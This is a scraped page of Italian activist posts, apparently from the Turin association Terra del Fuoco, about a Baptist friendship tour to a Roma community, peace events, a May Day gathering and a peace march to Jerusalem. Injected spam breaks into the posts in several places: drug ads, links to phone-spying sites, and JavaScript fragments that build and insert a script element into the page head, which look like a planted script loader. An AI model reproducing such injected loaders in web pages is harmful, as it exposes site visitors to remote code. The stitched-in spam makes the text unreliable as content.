Il camper dell’amicizia con il popolo Rom e Sinti, tappa a Settimo Torinese

Una pioggia scrosciante si abbatte sulla zona di Settimo Torinese dove l’Associazione delle Chiese Battiste del Piemonte ha organizzato insieme all’Associazione Terra del Fuoco (Gruppo Abele)  la seconda tappa della maratona che prevede di toccare 6 città in 6 giorni per manifestare amicizia nei confronti del popolo rom. Siamo al secondo giorno e siamo ospitati calorosamente dalla Comunità Il Dado. L’edificio dipinto di giallo ha un aspetto allegro e accogliente. Sulla fiancata della casa c’è scritta una frase in italiano, inglese e romeno: Noi difendiamo i nostri sogni realizzandoli.  Ed e’ proprio la realizzazione di un sogno questa comunità che oggi accoglie cinque famiglie rom, sei rifugiati iraniani e un gruppo di richiedenti asilo somali, oltre a due famiglie italiane. Fra i visi sorridenti che ci accolgono, scorgo anche un ragazzo che mi sembra di conoscere. Ecco chi è: Samuel, il testimonial della campagna antirazzista Non aver paura. Anche lui abita qui. La storia di questo posto nasce da un evento tragico, l’incendio di un  campo rom abusivo avvenuto nel novembre del 2006 in seguito al quale 250 persone sono rimaste senza riparo. Un’odissea senza fine di porte sbattute in faccia e di muri di gomma burocratici non ha scoraggiato i giovani volontari che hanno scelto di affiancare quelle famiglie nella ricerca di un riparo e di dignità. Poi finalmente la svolta. Il Comune di Settimo Torinese ha un edificio fatiscente, bisognoso di riqualificazione strutturale e sociale. Parte il progetto di auto recupero che impegna i rom in prima persona a lavorare alacremente per ristrutturare quegli spazi fino a renderli “casa”. Questo è accaduto ed ecco noi ci troviamo sulla terrazza del Dado  per ascoltare le testimonianze di chi ha vissuto la realizzazione di questo sogno. Siamo in tanti. Oltre alla delegazione che sta girando l’Italia, che comprende M. Aprile e C. Bianchi, segretari dei dipartimenti UCEBI di teologia e delle chiese internazionali, Anna Maffei, presidente UCEBI, Elena Levak, rappresentante del popolo rom e Debbie Kelsy, missionaria che lavora contro la tratta, ci sono tanti fratelli e sorelle provenienti dalle chiese battiste del Piemonte. C’è anche una rappresentate di Amnesty International che presenta la petizione contro l’attuazione del piano nomadi di Roma  (http://www.amnesty.it/rom_diritto_alloggio) e poi c’è l’orchestra Svoboda, di trascinante e coinvolgente musica Rom. Il pastore Luigi Pecora, segretario dell’Associazione battista piemontese, guida magistralmente la serata che alterna musica e testimonianze. Rosanna Falsetta, responsabile de Il Dado, ci racconta la storia della comunità, la pastora Maffei spiega il senso dell’iniziativa del Camper dell’amicizia, poi è la volta della commossa testimonianza di Elena Levak che parla della paura, ma anche dell’amore di Dio come antidoto alle paure perché “L’amore perfetto di Dio caccia via la paura”. Sì, vincere la paura è possibile, quando non si è più soli. In questo momento c’è però ancora paura. “Piove e il piccolo insediamento rom di baracche sulle rive del Po, a poca distanza dalla chiesa battista di Moncalieri – dice il pastore Pecora – è in pericolo perchè il fiume può uscire dagli argini da un momento all’altro. Se dovesse accadere, quelle famiglie troverebbero le porte della chiesa aperta per accoglierli. Questo è possibile perché tempo fa è cominciata un’amicizia che ci ha cambiati”. Ecco il senso di questa iniziativa, trovare e valorizzare le esperienze di amicizia che ci hanno cambiato e incoraggiarne altre e altre ancora.
Grazie per la vostra testimonianza!

Anna Maffei
Unione Cristiana Evangelica Battista d’Italia sildenafil 100 mg precio mexico var d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’)[0].appendChild(s);http://xizheng.sourceforge.net/archives/10568.html

ILLUMINIAMO DI VERDE LA PACE


 

 

 

 


Terra del Fuoco, FLARE, ARCI e CGIL, ACMOS e LIBERA partecipano alla settimana di T’illumino di più organizzata dalla Tavola della pace, LiberaInformazione, Articolo 21, Coordinamento Nazionale degli Enti Locali per la Pace e i Diritti Umani e la Federazione Nazionale della Stampa. Una settimana contro la censura, per la libertà e il diritto all’informazione, per un’informazione e una comunicazione di pace. Abbiamo scelto di  dare voce al popolo iraniano. Un popolo in lotta per la libertà quotidianamente minacciato, torturato, incarcerato e ucciso da una dittatura che nega i principali diritti.  È solo di ieri l’ultima orribile notizia; 5 giovani prigionieri politici sono stati giustiziati nella prigione di Evin: Farzad Kamangarn, Ali Heydarian, Farhad Vakilie, Shirin Alam Huli e Mehdi Eslamian.

Volgiamo dare voce a questi cinque giovani e con loro a tutto il popolo iraniano in lotta per la libertà…. Illuminiamo la pace di Verde!

MERCOLEDI’ 12 MAGGIO ORE 11:30

PRESSO LA FABBRICA DELLE “e” CORSO TRAPANI 91 A TORINO

 

ABBIAMO BISOGNO DI UN’ALTRA CULTURA…LA PACE!

 

Interverranno:

MICHELE CURTO Presidente di FLARE e TERRA del FUOCO

DONATA CANTA – CGIL

GIANGIACOMO PARIGINI – ARCI

FRANCESCA RISPOLI – ACMOS e LIBERA

ALESSANDRO ROCCA – Ass ILARIA ALPI

 

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Partecipiamo alla marcia Perugia – Assisi del 16 maggio 2010 sarà preceduta dal Forum della Pace, 14 e 15 maggio, al quale prenderanno parte oltre 5000 persone: giovani, insegnanti, enti locali, associazioni e giornalisti riuniti a Perugia per scoprire cosa vuol dire “fare pace”.


Dobbiamo ri-mettere al centro della nostra vita quei valori
condivisi, scolpiti nella nostra bella Costituzione e nel Diritto internazionale dei diritti umani, che soli possono aiutarci a superare positivamente questa profonda crisi e accrescere la qualità civile della nostra società. Abbiamo bisogno di un’altra cultura.

 

Come giovani che vivono attivamente il loro territorio vogliamo raccontare le nostre storie per dare speranza, per  ribadire che la nostra parola d’ordine è CITTADINANZA e che solo attraverso la partecipazione attiva possiamo fare qualcosa perché il nostro futuro sia un futuro di pace.

In tutta Italia c’è un universo che ha deciso di non arrendersi, di non accettare di essere trattati come semplici spettatori e che tutti i giorni prova a rendere concreta quella voglia di cittadinanza attiva, non arrendendosi all’idea di essere sempre una minoranza culturale in questo paese.

 

100 sono le storie che racconteremo a Perugia durante il Forum del 14 e 15 maggio, le 100 storie della società responsabile.

 

Durante la conferenza stampa ci sarà la possibilità di firmare l’appello per la verità e la giustizia sulla morte di Ilaria Alpi e Miran Hrovatin.

 

Per info: OLIVIERO ALOTTO 333.6546597 [email protected]

 

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Una giornata di festa, lotta e impegno


Cari amici ed amiche,

il Primo Maggio è storicamente la giornata dei lavoratori e, per la prima volta, anche Terra del

Fuoco organizza una magnifica GRIGLIATA MISTA!

Dopo il corteo per le strade di Torino, ci ritroveremo tutti insieme al ChaChaRum (Via Roma 12, Candiolo) per condividere un po’ di sana carne (i vegetariani non si preoccupino, ce ne

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sarà anche per loro…), qualche bicchiere di vino e un gran carico di allegria!!!

Sarà l’occasione per vivere la nostra famiglia sociale in serenità e potendoci dedicare del tempo, risorsa sempre più inestimabile e difficile da trovare. Ma non vogliamo solo questo!

La recente elezione di Cota a Presidente della Regione Piemonte ci pone di fronte ad un bivio: continuare a guardare alla politica come qualcosa di altro da noi; affine, interessante, necessaria a volte, ma comunque al di fuori delle nostre prerogative, o provare a spenderci in prima persona, tentando di arricchire l’offerta politica attuale per ricostruire una piattaforma di temi e diritti, a noi cari e per i quali ci battiamo ogni giorno.

Vogliamo ripartire da un’analisi condivisa di quella che è stata una sconfitta elettorale, forse non del tutto inaspettata, ma che consegna la nostra regione a quanto di politicamente più lontano da noi: la Lega Nord.

Vogliamo Impegnarci, anche il Primo Maggio, per capire, insieme a voi, da dove si può ripartire…

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PROGRAMMA

ore 10:00 in Largo Cairoli per il tradizionale corteo insieme a lavoratori, studenti e migranti

ore 12:45 inizio discussione politica sulle recenti elezioni regionali

ore 13:00 divisione nei focus group

ore 13:40: relazione dei gruppi in assemblea e conclusioni

ore 14:00 inizio grigliata

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Menù

Bruschette

Costine di vitello

Lonza di maiale

Salsiccia

Verdure grigliate

Patatine fritte

Acqua, birra e vino a volontÃ

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Costo: 10,00 euro

Prenotazioni entro Mercoledì 28 Aprile a Alessandro Givone tel: 348 3229257 – mail: [email protected]

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At-Tuwani -Palestina Coltivare Resistenza

Lunedì 26 Ottobre presso la Sala Gandhi del centro Studi Sereno Regis blue steel erection pills di Via Garibaldi 13 (TO) ore 21.00, Terra del Fuoco, Rete Radiesh Torino, Nodo Valsangone, Rete Lilliput, Centro

I CPT sono un’organizzazione internazionale creata per sostenere le squadre di costruttori di pace presenti in tutto il Mondo.

Attivi dalla metà degli anni ’80  i CPT hanno un corpo di oltre 30 attivisti che lavorano attualmente in Colombia, Iraq,  sul confine tra Stati Uniti e Messico, Kenora, Ontario, Canada. Lunedì sera Laura ci racconterà delel due squadre presenti in Palestina, in particolare del lavoro svolto presso il villaggio di At-Tuwani.document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’); http://vocalartstudio.com/%d0%b1%d0%b5%d0%b7-%d1%80%d1%83%d0%b1%d1%80%d0%b8%d0%ba%d0%b8/twitter-spy-how-to-spy-on-cell-phone-spymaster/

PALESTINA: Assemblea conclusiva della Perugia-Assisi per Gerusalemme

Si è conclusa venerdì 17 la Marcia della pace a Gerusalemme, iniziata il 10 ottobre, che ha portato nei territori israeliani e palestinesi  400 italiani, tra cui una delegazione di Terra del Fuoco e di Flare. Dalla conclusione di questo percorso è emerso un appello forte all’Italia, agli italiani, all’Europa e agli europei, per richiamare tutti alle proprie responsabilità in questo conflitto che ogni giorno diventa sempre più tragico.
“Aprite gli occhi! –si legge nel comunicato conclusivo della Tavola per la Pace -Qui si sta consumando una grave tragedia umana. [..] Non è più il tempo degli appelli. Questo è il tempo delle nostre responsabilità. Il Governo italiano, il Parlamento, le forze politiche, il mondo dell’informazione, gli Enti Locali e la società civile: ciascuno deve fare la propria parte”.
La marcia è passata da Betlemme, Hebron, Bil’in, Birzeit, Jenin, Nablus, villaggi di Swahreh, At Tucani, Artas; Gaza, Nazareth, Haifa, Neve Shalom, Jaffa, Sderot, Galilea e Tel Aviv. Ha visitato il campo profughi di Gerusalemme, incontrato civili palestinesi e israeliani, partecipato a una manifestazione per la pace insieme alla popolazione palestinese, e dopo attraversato questi territori distrutti dalla guerra e dall’odio, è tornata a casa con delle richieste chiare per dire basta a questa tragedia di cui si fa fatica a vedere una fine:
“Chiediamo all’Italia e all’Europa di esigere l’immediata riapertura della Striscia di Gaza, perché gli insediamenti sono una forma di punizione collettiva inumana, illegale e controproducente.
Chiediamo ai nostri Governi di ripetere le parole pronunciate all’ONU dal presidente Obama e di operare coerentemente per favorire l’unità dei palestinesi e riportare tutte le parti al tavolo del negoziato finale.
Chiediamo al mondo dell’informazione di raccontarla giusta. Continuare a nascondere le ingiustizie e le sofferenze quotidiane di così tante persone ci impedisce di essere all’altezza delle nostre responsabilità.”
Questo è quanto emerso dall’assemblea dei partecipanti che si è svolta ieri a conclusione dell’iniziativa,  insieme al profondo disappunto per il voto contrario espresso dall’Italia, dagli Stati Uniti e da pochi altri sulla risoluzione dell’ONU scaturita dal rapporto “Goldstone”.
“Time for Responsibilities” (la Perugia-Assisi a Gerusalemme) è promossa dal Coordinamento Nazionale degli Enti Locali per la Pace e i Diritti Umani, la Piattaforma delle Ong italiane per il Medio Oriente e la Tavola della pace in collaborazione con la Rete Europea degli Enti Locali per la Pace in Medio Oriente e con il sostegno della Fondazione Anna Lindh per il Dialogo tra le Culture e di numerose Istituzioni locali e Regionali.
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Tavola per la Pace
Time of Responsibilities
Video

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